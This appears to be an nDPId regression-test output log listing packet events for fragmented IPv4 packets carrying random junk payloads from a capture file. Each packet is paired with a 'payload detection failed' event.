+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1429,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914835,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYEAGRFEKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1429,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1430,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914846,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYkAGRE8KAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1430,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1431,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914858,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZEAGRE0KAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1431,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1432,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914866,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZkAGREsKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1432,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1433,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914879,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhaEAGREkKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1433,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1434,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914892,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhakAGREcKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1434,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1435,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914904,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbEAGREUKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1435,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1436,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914919,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbkAGREMKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1436,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1437,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914932,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhcEAGREEKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1437,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1438,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914944,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhckAGRD8KAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1438,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1439,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914955,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdEAGRD0KAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1439,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1440,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914967,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdkAGRDsKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1440,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1441,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914979,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAheEAGRDkKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1441,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1442,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914994,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhekAGRDcKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1442,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1443,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915009,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfEAGRDUKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1443,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1444,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915025,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfkAGRDMKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1444,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1445,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915037,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgEAGRDEKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1445,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1446,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915049,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgkAGRC8KAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1446,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1447,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915063,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhEAGRC0KAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1447,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1448,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915074,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhkAGRCsKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1448,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1449,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915086,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhiEAGRCkKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1449,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1450,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915098,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhikAGRCcKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1450,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1451,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915110,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjEAGRCUKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1451,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1452,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915121,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjkAGRCMKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1452,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1453,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915136,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkEAGRCEKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1453,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1454,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915148,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkkAGRB8KAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1454,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1455,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915160,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlEAGRB0KAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1455,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1456,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915171,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlkAGRBsKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1456,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1457,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915217,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmEAGRBkKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1457,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1458,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915230,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmkAGRBcKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1458,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1459,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915243,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnEAGRBUKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1459,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1460,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915255,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnkAGRBMKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1460,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1461,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915267,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhoEAGRBEKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1461,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1462,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915278,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhokAGRA8KAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1462,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1463,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915289,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpEAGRA0KAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1463,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1464,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915306,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpkAGRAsKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1464,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1465,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915353,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqEAGRAkKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1465,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1466,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915361,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqkAGRAcKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1466,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1467,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915369,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrEAGRAUKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1467,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1468,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915376,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrkAGRAMKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1468,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1469,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915384,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhsEAGRAEKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1469,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1470,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915391,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhskAGQ\/8KAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1470,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 